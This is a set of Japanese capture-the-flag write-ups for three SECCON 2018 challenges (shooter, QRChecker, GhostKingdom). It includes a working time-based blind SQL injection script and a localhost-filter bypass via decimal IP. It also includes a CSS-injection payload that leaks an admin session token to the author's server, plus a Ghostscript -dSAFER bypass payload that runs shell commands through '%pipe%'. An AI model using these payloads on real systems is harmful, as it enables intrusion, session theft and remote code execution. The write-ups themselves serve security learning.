SECCON 2018 Quals - shooter
問題文
shooter
Enjoy the game!
添付ファイル:shooter.apk_d0d2ed9e7ba3c83354cbbf7ccf82541730b14a72
writeup
Stage1
apktoolでapkファイルを展開する。
> apktool.bat decode --no-src shooter.apk I: Using Apktool 2.2.2 on shooter.apk I: Loading resource table... I: Decoding AndroidManifest.xml with resources... I: Loading resource table from file: C:\Users\XXXX\AppData\Local\apktool\framework\1.apk I: Regular manifest package... I: Decoding file-resources... I: Decoding values */* XMLs... I: Copying raw classes.dex file... I: Copying assets and libs... I: Copying unknown files... I: Copying original files...
展開した中身を見るとUnityを使っていることがわかる。
GitHub - nevermoe/unity_metadata_loader
こちらのツールを使用して、metadataの中身を覗く。
metadataファイルは以下ディレクトリに存在している。
assets\bin\Data\Managed\Metadata\global-metadata.dat
unity_decoder.exeをassets\bin\Data\Managed\Metadata\
配下にコピーして実行すると、method_name.txt
とstring_literal.txt
のファイルが生成された。
string_literal.txt
の最後らへんに、URL文字列を発見。
(snip) shooter.pwn.seccon.jp staging.shooter.pwn.seccon.jp develop.shooter.pwn.seccon.jp /admin (snip)
http://staging.shooter.pwn.seccon.jp/admin
にアクセスする。
ログイン画面が表示された。
なお、http://shooter.pwn.seccon.jp/admin
とhttp://develop.shooter.pwn.seccon.jp/admin
にアクセスしても403である。
Stage2
「とりあえず生ビール」と注文するかの如く、ログイン画面のLogin IDとPasswordに「とりあえず記号を入力」してみる。なお、SECCON Beginners NEXTでも、入力フィールドを見たら記号を入れることは当然の仕草・お作法であるようなことを講師の方が言っていたので、常識的な行動のようだ。
エラー発生。SQLインジェクションの疑いあり。
切り分けすると、Passwordに'(シングルクォーテーション)
を入力するとエラーになることがわかる。
そこで、サーバ内でSQLの構文が成立するように、Passwordに' or 'A'='A
を入力すると、エラーにならず302リダイレクトが返却された。しかし、ログインはできない。また、where句の条件がTrueまたはFalseになるようなSQLの断片を入力しレスポンスを観察するが、違いは見られない。
よって、「Time-Based Blind SQL Injection」を使って、DBの中身を窃取することにする。
Login IDにadmin
、Passwordに' or if(1=1, sleep(3), false) or '
を入力すると、3秒待ってからレスポンスがあった。いけそうだ。
通常のBlind SQL Injectionと同じように、取得したいテーブル名、カラム名またはレコードを1文字ずつ特定する条件式を作成し、条件が成立する場合に3秒sleepさせ、レスポンスタイムを観察することで条件が成立したかどうか判定すればよい。
- information_schema.tableを使用して、DB内のテーブル名を確認する。
- information_schema.columnsを使用して、1で特定したテーブル名が持つカラムを確認する。
- 1と2で特定したテーブル名、カラム名を使用して、レコードの値を取得する。
1と2と3を実行するスクリプトは以下の通り。
コメントアウトを付け替えれば、それぞれ実行できる。
Cookie
とauthenticity_token
は、ログイン画面のレスポンスから採取してセットした。
import requests import string import time URL = 'http://staging.shooter.pwn.seccon.jp/admin/sessions' LETTERS = string.ascii_letters + string.digits + "!#$&()*+,-./:;<=>?@[\]^_`{|}~" def pretty_print_POST(req): print('{}\n{}\n{}\n\n{}'.format( req.method + ' ' + req.url, '\n'.join('{}: {}'.format(k, v) for k, v in req.headers.items()), req.body, )) target = "" while True: flag = False for e in LETTERS: tmp = target + e req = requests.Request( 'POST', URL, data={ #"utf8" :"\xE2\x9C\x93", "authenticity_token": "CodCRpjgTlZzcK/ilr42WUwUASDdfoPJ/865RPWy3uOS2nzmtl9T3GnNG+2syYTY1GSc+vXODPykzOVx7n8JuA==", "login_id" : "admin", "commit" : "Login", # 0.実験用 #"password" : "' or if(1=1, sleep(3), false) or '" # 1.テーブル名を取得 "password" : "' or if(SUBSTRING((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,{})='{}', sleep(3), false) or 'a'='".format(len(tmp),tmp) # 2.列名を取得 #"password" : "' or if(SUBSTRING((select column_name from information_schema.columns where table_name='flags' limit 1,1),1,{})='{}', sleep(3), false) or 'a'='".format(len(tmp),tmp) # 3.レコードを取得 #"password" : "' or if(ASCII(SUBSTRING((select value from flags limit 0,1),{},1)) = {}, sleep(3), false) or 'a'='".format(len(tmp),ord(e)) }, headers={ "Content-Type" : "application/x-www-form-urlencoded", "Cookie" : "_shooter_session=l1NW1fRcRDMstlN7MZwJYOBBq2vtB17FLSdELAPhCdp2hV9OD%2FHVFErOBjU80QHxdVwp24TL1MQAAzaXO1dOMLJlzgw%2BnfePLKGRiIrVDhnXNlm7d8FlxJderqSJ8n5jthdfnkLSZStuufw7YRk%3D--KB76yzfpz0%2FRbJTc--vR4mc6IPyNAgJfhs7%2FbtSg%3D%3D" }, ) prepared = req.prepare() #pretty_print_POST(prepared) s = requests.Session() start = time.time() r = s.send(prepared, allow_redirects = False) elapsed_time = time.time() - start if elapsed_time > 3: target = tmp print(target) flag = True break #print(r.headers) #print(r.text) #print(elapsed_time) if flag: continue exit()
1を有効にした場合の実行結果は以下の通り。
f fl fla flag flags
flags
テーブルがあることがわかる。
なお、limit句を0,1にするとar_internal_metadata
テーブルをとってきた。
2を有効にした場合の実行結果は以下の通り。
v va val valu value
flags
テーブルにはvalue
カラムがあることがわかる。
なお、limit句を0,1にするとid
カラムをとってきた。
3を有効にした場合の実行結果は以下の通り。
MySQLは、通常、where句の等式で大文字小文字が区別できないため、ASCII関数を使用した。
S SE SEC SECC SECCO SECCON SECCON{ SECCON{1 SECCON{1N SECCON{1NV SECCON{1NV4 SECCON{1NV4L SECCON{1NV4L1 SECCON{1NV4L1D SECCON{1NV4L1D_ SECCON{1NV4L1D_4 SECCON{1NV4L1D_4D SECCON{1NV4L1D_4DM SECCON{1NV4L1D_4DM1 SECCON{1NV4L1D_4DM1N SECCON{1NV4L1D_4DM1N_ SECCON{1NV4L1D_4DM1N_P SECCON{1NV4L1D_4DM1N_P4 SECCON{1NV4L1D_4DM1N_P4G SECCON{1NV4L1D_4DM1N_P4G3 SECCON{1NV4L1D_4DM1N_P4G3_ SECCON{1NV4L1D_4DM1N_P4G3_4 SECCON{1NV4L1D_4DM1N_P4G3_4U SECCON{1NV4L1D_4DM1N_P4G3_4U+ SECCON{1NV4L1D_4DM1N_P4G3_4U+H SECCON{1NV4L1D_4DM1N_P4G3_4U+H3 SECCON{1NV4L1D_4DM1N_P4G3_4U+H3N SECCON{1NV4L1D_4DM1N_P4G3_4U+H3NT SECCON{1NV4L1D_4DM1N_P4G3_4U+H3NT1 SECCON{1NV4L1D_4DM1N_P4G3_4U+H3NT1C SECCON{1NV4L1D_4DM1N_P4G3_4U+H3NT1C4 SECCON{1NV4L1D_4DM1N_P4G3_4U+H3NT1C4T SECCON{1NV4L1D_4DM1N_P4G3_4U+H3NT1C4T1 SECCON{1NV4L1D_4DM1N_P4G3_4U+H3NT1C4T10 SECCON{1NV4L1D_4DM1N_P4G3_4U+H3NT1C4T10N SECCON{1NV4L1D_4DM1N_P4G3_4U+H3NT1C4T10N}
スクリプトを実行して、じわじわとフラグ文字列が得られていく光景を観察するのは、格別な時間ですね。
フラグゲット。
SECCON{1NV4L1D_4DM1N_P4G3_4U+H3NT1C4T10N}
SECCON 2018 Quals - QRChecker
問題文
QR Checker
http://qrchecker.pwn.seccon.jp/
ソースコードが公開されている。
#!/usr/bin/env python3 import sys, io, cgi, os from PIL import Image import zbarlight print("Content-Type: text/html") print("") codes = set() sizes = [500, 250, 100, 50] print('<html><body>') print('<form action="' + os.path.basename(__file__) + '" method="post" enctype="multipart/form-data">') print('<input type="file" name="uploadFile"/>') print('<input type="submit" value="submit"/>') print('</form>') print('<pre>') try: form = cgi.FieldStorage() data = form["uploadFile"].file.read(1024 * 256) image= Image.open(io.BytesIO(data)) for sz in sizes: image = image.resize((sz, sz)) result= zbarlight.scan_codes('qrcode', image) if result == None: break if 1 < len(result): break codes.add(result[0]) for c in sorted(list(codes)): print(c.decode()) if 1 < len(codes): print("SECCON{" + open("flag").read().rstrip() + "}") except: pass print('</pre>') print('</body></html>')
writeup
毎年お馴染みらしい、QRコードの問題。
ソースコードを読み解くと、1つのQRコード画像を500x500、250x250、100x100、50x50にリサイズし、2種類以上の読み取り結果が得られたらフラグをゲットできるようだ。
大きな画像を縮小すると、画像が粗くなったりつぶれたりするので、その現象を使用するのだろうか。
ここで、18年6月くらいにQRコードの脆弱性という記事を読んだことを思い出す。
『きまぐれQRコード』ができます!?【続報】気を付けろ!QRコードに脆弱性?(森井昌克) - 個人 - Yahoo!ニュース
QRコードの誤り訂正の領域に、グレーのセルがある。このセルが白と判定される場合と黒と判定される場合とで、読み取り結果が変わる。
こちらの記事のQRコード画像を拝借して読み取らせてみる。
まずは、ローカルで実行可能な環境を用意するため、ライブラリをインストール。
root@kali:~# sudo apt-get install libzbar-dev root@kali:~# pip install zbarlight
ローカル実行するためのコードはこちら。
#!/usr/bin/env python3 import sys, io, cgi, os from PIL import Image import zbarlight codes = set() sizes = [500, 250, 100, 50] f = open(sys.argv[1], 'rb') data = f.read(1024 * 256) image= Image.open(io.BytesIO(data)) for sz in sizes: image = image.resize((sz, sz)) #image.save('qr_{}.png'.format(str(sz))) result= zbarlight.scan_codes('qrcode', image) if result == None: break if 1 < len(result): break print(sz) print(result[0]) codes.add(result[0]) for c in sorted(list(codes)): print(c.decode()) if 1 < len(codes): print("SECCON{SUCCESS!!}")
QRコード画像
実行結果
root@kali:~# python qr.py qr_org.png 500 b'http://srv.prof-morii.net/~lab' 250 b'http://srv.prof-morii.net/~lab' 100 b'http://srv.prof-morii.net/~lab' 50 b'http://srv.prof-morii.net/~lab' http://srv.prof-morii.net/~lab
そのままでは1種類の読み取り結果しか得られなかった。
そこで、画像サイズを変えたり、グレーの部分をGIMPで適当に塗ったりして調整し、Try&Errorしてみる。
最終的に以下の画像で成功した。
root@kali:~# python qr.py qr_success.png 500 b'http://srv.prof-morii.net/~lob' 250 b'http://srv.prof-morii.net/~lob' 100 b'http://srv.prof-morii.net/~lob' 50 b'http://srv.prof-morii.net/~lab' http://srv.prof-morii.net/~lab http://srv.prof-morii.net/~lob SECCON{SUCCESS!!}
画像をアップロードする。
フラグゲット
SECCON{50d7bc7542b5837a7c5b94cf2446b848}
SECCON 2018 Quals - GhostKingdom
[更新履歴]
- 2018/12/18 19:40
idコマンド実行時の画像のuid/gid/groupsをマスク化
問題文
http://ghostkingdom.pwn.seccon.jp/FLAG/
上記のURLにアクセスすると、以下の表示。
FLAG is somewhere in this folder. GO TO TOP
TOP画面は以下。
writeup
調査
Create new user
リンクからユーザ作成してログインすると、メニュー画面が表示される。
メニュー画面には以下3つの機能が表示されている。
- Message to admin
- Take a screenshot
- Upload image
但し、Upload imageは、* Only for users logged in from the local network
とのことで、使用できない。残り2つの機能を調査する。
Message to admin
Normal
とEmergency
を選択するラジオボタンと、Message
の入力項目がある。
Preview
ボタンを押下すると、プレビュー画面に遷移する。
Emergency
を選択していると、メッセージを強調するスタイルが適用される。
プレビュー画面のURLにはcss
パラメータが付いている。
http://ghostkingdom.pwn.seccon.jp/?css=c3BhbntiYWNrZ3JvdW5kLWNvbG9yOnJlZDtjb2xvcjp5ZWxsb3d9&msg=aaaa&action=msgadm2
css
パラメータはBASE64エンコード文字列のように見えるため、復号してみる。
root@kali:~# echo -n "c3BhbntiYWNrZ3JvdW5kLWNvbG9yOnJlZDtjb2xvcjp5ZWxsb3d9" | base64 -d span{background-color:red;color:yellow}
強調するスタイルは、css
パラメータでセットしているようだ。つまり任意にセット可能。
プレビュー画面の後にSend to admin
ボタンを押下するとadminにメッセージ送信が成功したメッセージが表示される。
Take a screenshot
URLを入力して、Take a Screenshot
ボタンを押下すると、URLにアクセスしてScreenshotを取得して表示してくれる。
file:///etc/passwd
を入力してみるがInvalid URL!
の表示。
http://localhost/
を入力すると、You can not use URLs that contain the following keywords: 127, ::1, local
の表示。
へー、ローカルアクセスは塞がれているのか、なるほど(意味深
Stage1
まずは、Take a screenshotのローカルアクセスの制約を突破する。
127, ::1, local
しかフィルタしていないとすれば、IPアドレスの指定方法を変えれば突破できそうだ。
IPアドレス値・数値(2,10,16進数)変換ツール -IPv46 – IPアドレス(CIDR)の範囲確認・変換サイト
上記サイトを使用して127.0.0.1
を10進数値に変換すると2130706433
になる。
http://2130706433/
のScreenshotを取得すると成功。
Upload imageに飛べるか確認するため、試しにhttp://2130706433/?action=menu
を入力するが、admin側でもログインが必要のようだ。幸い、ログイン時にuser
とpass
をクエリパラメータで送信するI/Fのため、http://2130706433/?user=<ユーザID>&pass=<パスワード>&action=login
を入力してadminにログインさせてあげればよい。
その後、再度http://2130706433/?action=menu
を入力すると、メニュー画面のScreenshotを取得できた。
ただ、Upload imageが有効なメニュー画面のScreenshotだけあっても意味がない。 このログインしている状態のadminのCookieを窃取して、自分でUpload imageを利用したい。
そこで、Message to adminにて、CSSが任意に指定できる機能を使用する。
プレビュー画面には、hiddenのcsrf
項目があるが、valueを見るとCookieのCGISESSID
と同値。
よって、プレビュー画面でCSS Injectionを使用してcsrf
項目のvalueを取得できれば、adminに成りすましてメニュー画面の表示やUpload imageを利用することができる。
CSS Injectionの攻撃コードを生成するスクリプトを作成する。
import base64 CHARLIST = "0123456789" + "abcdef" URL = "http://2130706433/?msg=aaa&action=msgadm2&css=" known_csrf = "ff1de841cd4cb1c627ead5" buf = "" for c in CHARLIST: buf += """input[name="csrf"][value^="{}"] {{ background: url(http://myserver/{}); }}""".format(known_csrf + c, known_csrf + c) print(buf) print(URL + base64.b64encode(buf.encode('utf-8')).decode('utf-8'))
実行すると、CSS Injectionの攻撃コードと、それをBASE64エンコードしてcss
パラメータにセットしたURLが生成される。
input[name="csrf"][value^="0"] { background: url(http://myserver/0); }input[name="csrf"][value^="1"] { background: url(http://myserver/1); }input[name="csrf"][value^="2"] { background: url(http://myserver/2); }input[name="csrf"][value^="3"] { background: url(http://myserver/3); }input[name="csrf"][value^="4"] { background: url(http://myserver/4); }input[name="csrf"][value^="5"] { background: url(http://myserver/5); }input[name="csrf"][value^="6"] { background: url(http://myserver/6); }input[name="csrf"][value^="7"] { background: url(http://myserver/7); }input[name="csrf"][value^="8"] { background: url(http://myserver/8); }input[name="csrf"][value^="9"] { background: url(http://myserver/9); }input[name="csrf"][value^="a"] { background: url(http://myserver/a); }input[name="csrf"][value^="b"] { background: url(http://myserver/b); }input[name="csrf"][value^="c"] { background: url(http://myserver/c); }input[name="csrf"][value^="d"] { background: url(http://myserver/d); }input[name="csrf"][value^="e"] { background: url(http://myserver/e); }input[name="csrf"][value^="f"] { background: url(http://myserver/f); } http://2130706433/?msg=aaa&action=msgadm2&css=aW5wdXRbbmFtZT0iY3NyZiJdW3ZhbHVlXj0iMCJdIHsKYmFja2dyb3VuZDogdXJsKGh0dHA6Ly9teXNlcnZlci8wKTsKfWlucHV0W25hbWU9ImNzcmYiXVt2YWx1ZV49IjEiXSB7CmJhY2tncm91bmQ6IHVybChodHRwOi8vbXlzZXJ2ZXIvMSk7Cn1pbnB1dFtuYW1lPSJjc3JmIl1bdmFsdWVePSIyIl0gewpiYWNrZ3JvdW5kOiB1cmwoaHR0cDovL215c2VydmVyLzIpOwp9aW5wdXRbbmFtZT0iY3NyZiJdW3ZhbHVlXj0iMyJdIHsKYmFja2dyb3VuZDogdXJsKGh0dHA6Ly9teXNlcnZlci8zKTsKfWlucHV0W25hbWU9ImNzcmYiXVt2YWx1ZV49IjQiXSB7CmJhY2tncm91bmQ6IHVybChodHRwOi8vbXlzZXJ2ZXIvNCk7Cn1pbnB1dFtuYW1lPSJjc3JmIl1bdmFsdWVePSI1Il0gewpiYWNrZ3JvdW5kOiB1cmwoaHR0cDovL215c2VydmVyLzUpOwp9aW5wdXRbbmFtZT0iY3NyZiJdW3ZhbHVlXj0iNiJdIHsKYmFja2dyb3VuZDogdXJsKGh0dHA6Ly9teXNlcnZlci82KTsKfWlucHV0W25hbWU9ImNzcmYiXVt2YWx1ZV49IjciXSB7CmJhY2tncm91bmQ6IHVybChodHRwOi8vbXlzZXJ2ZXIvNyk7Cn1pbnB1dFtuYW1lPSJjc3JmIl1bdmFsdWVePSI4Il0gewpiYWNrZ3JvdW5kOiB1cmwoaHR0cDovL215c2VydmVyLzgpOwp9aW5wdXRbbmFtZT0iY3NyZiJdW3ZhbHVlXj0iOSJdIHsKYmFja2dyb3VuZDogdXJsKGh0dHA6Ly9teXNlcnZlci85KTsKfWlucHV0W25hbWU9ImNzcmYiXVt2YWx1ZV49ImEiXSB7CmJhY2tncm91bmQ6IHVybChodHRwOi8vbXlzZXJ2ZXIvYSk7Cn1pbnB1dFtuYW1lPSJjc3JmIl1bdmFsdWVePSJiIl0gewpiYWNrZ3JvdW5kOiB1cmwoaHR0cDovL215c2VydmVyL2IpOwp9aW5wdXRbbmFtZT0iY3NyZiJdW3ZhbHVlXj0iYyJdIHsKYmFja2dyb3VuZDogdXJsKGh0dHA6Ly9teXNlcnZlci9jKTsKfWlucHV0W25hbWU9ImNzcmYiXVt2YWx1ZV49ImQiXSB7CmJhY2tncm91bmQ6IHVybChodHRwOi8vbXlzZXJ2ZXIvZCk7Cn1pbnB1dFtuYW1lPSJjc3JmIl1bdmFsdWVePSJlIl0gewpiYWNrZ3JvdW5kOiB1cmwoaHR0cDovL215c2VydmVyL2UpOwp9aW5wdXRbbmFtZT0iY3NyZiJdW3ZhbHVlXj0iZiJdIHsKYmFja2dyb3VuZDogdXJsKGh0dHA6Ly9teXNlcnZlci9mKTsKfQ==
このURLを使用してScreenshotをとると、自サーバにcsrf
の先頭1文字に対応したアクセスが飛んでくるはずである。
XXX.XXX.XXX.XXX - - [27/Oct/2018:17:56:59 +0900] "GET /f HTTP/1.1" 404 503 "http://127.0.0.1/?msg=aaa&action=msgadm2&css=(snip)" "SECCON-CTF-ONLINE-2018--FROM-YYY.YYY.YYY.YYY"
飛んできた。csrf
の先頭1文字はf
のようだ。
これを繰り返してcsrf
を全桁入手し、Cookieにセットしてメニュー画面を表示する。
Upload imageが有効なメニュー画面を表示できた。
Stage2
Upload imageに遷移すると以下の画面。
試しに適当な画像をアップロードしてみる。
GIFに変換できるようだ。
さて、ここでURLを見てみる。
http://ghostkingdom.pwn.seccon.jp/ghostMagick.cgi
ghostとMagick・・・GhostscriptとImageMagickか!
Ghostscript の -dSAFER オプションの脆弱性に関する注意喚起
PoCのコードはこちら。
Ghostscript - Multiple Vulnerabilities
試しに、上記ページから以下のコードを取得して拡張子jpgで保存してアップロードしてみる。
%!PS userdict /setpagedevice undef legal { null restore } stopped { pop } if legal mark /OutputFile (%pipe%id) currentdevice putdeviceprops
id
コマンドを実行できた!ビンゴ!
次に、/FLAG/配下のファイルを確認する。
%!PS userdict /setpagedevice undef legal { null restore } stopped { pop } if legal mark /OutputFile (%pipe%ls /var/www/html/FLAG/) currentdevice putdeviceprops
最後に、FLAGflagF1A8.txtをcatする。
%!PS userdict /setpagedevice undef legal { null restore } stopped { pop } if legal mark /OutputFile (%pipe%cat /var/www/html/FLAG/FLAGflagF1A8.txt) currentdevice putdeviceprops
フラグゲット!
SECCON{CSSinjection+GhostScript/ImageMagickRCE}